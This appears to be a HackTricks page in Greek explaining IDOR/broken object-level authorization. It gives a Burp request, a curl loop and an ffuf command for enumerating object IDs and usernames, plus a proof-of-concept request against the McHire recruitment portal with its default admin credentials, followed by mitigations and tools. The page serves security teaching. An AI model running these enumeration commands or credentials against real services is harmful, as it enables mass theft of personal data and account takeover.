107 lines
7.7 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# IDOR (Insecure Direct Object Reference)
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) εμφανίζεται όταν ένα web ή API endpoint αποκαλύπτει ή δέχεται έναν αναγνωριστικό που ελέγχεται από τον χρήστη και ο οποίος χρησιμοποιείται **απευθείας** για πρόσβαση σε ένα εσωτερικό αντικείμενο **χωρίς να επαληθεύει ότι ο καλών έχει εξουσιοδότηση** να έχει πρόσβαση/τροποποίηση σε αυτό το αντικείμενο.
Η επιτυχημένη εκμετάλλευση συνήθως επιτρέπει horizontal or vertical privilege-escalation, όπως το να διαβάσει ή να τροποποιήσει δεδομένα άλλων χρηστών και, στη χειρότερη περίπτωση, full account takeover ή mass-data exfiltration.
---
## 1. Εντοπισμός πιθανών IDORs
1. Αναζητήστε **παραμέτρους που αναφέρονται σε ένα αντικείμενο**:
* Διαδρομή: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Ερώτημα: `?id=42`, `?invoice=2024-00001`
* Σώμα / JSON: `{"user_id": 321, "order_id": 987}`
* Κεφαλίδες / Cookies: `X-Client-ID: 4711`
2. Δώστε προτεραιότητα σε endpoints που **διαβάζουν ή ενημερώνουν** δεδομένα (`GET`, `PUT`, `PATCH`, `DELETE`).
3. Σημειώστε πότε οι αναγνωριστικοί είναι **σειριακοί ή προβλέψιμοι** αν το ID σας είναι `64185742`, τότε `64185741` πιθανότατα υπάρχει.
4. Εξερευνήστε κρυφές ή εναλλακτικές ροές (π.χ. σύνδεσμος *"Paradox team members"* σε σελίδες login) που μπορεί να αποκαλύψουν επιπλέον APIs.
5. Χρησιμοποιήστε μια **authenticated low-privilege session** και αλλάξτε μόνο το ID **κρατώντας το ίδιο token/cookie**. Η απουσία σφάλματος εξουσιοδότησης συνήθως είναι ένδειξη IDOR.
### Γρήγορος χειροκίνητος χειρισμός (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
Cookie: auth=eyJhbGciOiJIUzI1NiJ9...
Content-Type: application/json
{"lead_id":64185741}
```
### Αυτοματοποιημένη enumeration (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-H "Cookie: auth=$TOKEN" \
-d '{"lead_id":'"$id"'}' | jq -e '.email' && echo "Hit $id";
done
```
---
### Error-response oracle for user/file enumeration
Όταν ένα download endpoint δέχεται τόσο ένα username όσο και ένα filename (π.χ. `/view.php?username=<u>&file=<f>`), μικρές διαφορές στα μηνύματα σφάλματος συχνά δημιουργούν ένα oracle:
- Μη υπάρχον username → "User not found"
- Κακό filename αλλά έγκυρη extension → "File does not exist" (μερικές φορές επίσης εμφανίζει διαθέσιμα αρχεία)
- Κακή extension → validation error
Με οποιαδήποτε authenticated session, μπορείτε να fuzz το username parameter ενώ κρατάτε ένα benign filename και να φιλτράρετε με βάση το "user not found" string για να ανακαλύψετε valid users:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
Μόλις εντοπιστούν έγκυρα ονόματα χρήστη, ζητήστε συγκεκριμένα αρχεία απευθείας (π.χ., `/view.php?username=amanda&file=privacy.odt`). Αυτό το μοτίβο συχνά οδηγεί σε μη εξουσιοδοτημένη αποκάλυψη εγγράφων άλλων χρηστών και credential leakage.
---
## 2. Πραγματική Μελέτη Περίπτωσης McHire Chatbot Platform (2025)
Κατά την αξιολόγηση του Paradox.ai-powered **McHire** recruitment portal, εντοπίστηκε το ακόλουθο IDOR:
* Endpoint: `PUT /api/lead/cem-xhr`
* Authorization: user session cookie for **any** restaurant test account
* Body parameter: `{"lead_id": N}` 8-ψήφιος, **σειριακός** αριθμητικός αναγνωριστής
Μειώνοντας το `lead_id` ο ελεγκτής απέκτησε αυθαίρετα το **πλήρες PII** των υποψηφίων (name, e-mail, phone, address, shift preferences) καθώς και ένα καταναλωτικό **JWT** που επέτρεψε session hijacking. Η καταμέτρηση του εύρους `1 64,185,742` αποκάλυψε περίπου **64 million** records.
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Σε συνδυασμό με **default admin credentials** (`123456:123456`) που παρείχαν πρόσβαση στον δοκιμαστικό λογαριασμό, η ευπάθεια οδήγησε σε κρίσιμη παραβίαση δεδομένων σε επίπεδο εταιρείας.
---
## 3. Επιπτώσεις του IDOR / BOLA
* Οριζόντια κλιμάκωση ανάγνωση/ενημέρωση/διαγραφή δεδομένων **άλλων χρηστών**.
* Κάθετη κλιμάκωση χρήστης με χαμηλά προνόμια αποκτά λειτουργίες μόνο για admin.
* Μαζική παραβίαση δεδομένων αν τα αναγνωριστικά είναι διαδοχικά (π.χ., applicant IDs, invoices).
* Κατάληψη λογαριασμού με κλοπή tokens ή επαναφορά κωδικών άλλων χρηστών.
---
## 4. Μέτρα μετριασμού & Καλές πρακτικές
1. Επιβάλλετε εξουσιοδότηση σε επίπεδο αντικειμένου σε κάθε αίτημα (`user_id == session.user`).
2. Προτιμήστε έμμεσα, μη-μάντεψιμα αναγνωριστικά (UUIDv4, ULID) αντί για auto-increment IDs.
3. Εκτελέστε την εξουσιοδότηση server-side, μην βασίζεστε σε κρυφά πεδία φορμών ή ελέγχους UI.
4. Εφαρμόστε ελέγχους RBAC / ABAC σε ένα κεντρικό middleware.
5. Προσθέστε rate-limiting & logging για να ανιχνεύσετε την enumeration αναγνωριστικών.
6. Κάντε security tests σε κάθε νέο endpoint (unit, integration, και DAST).
---
## 5. Εργαλεία
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## Αναφορές
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}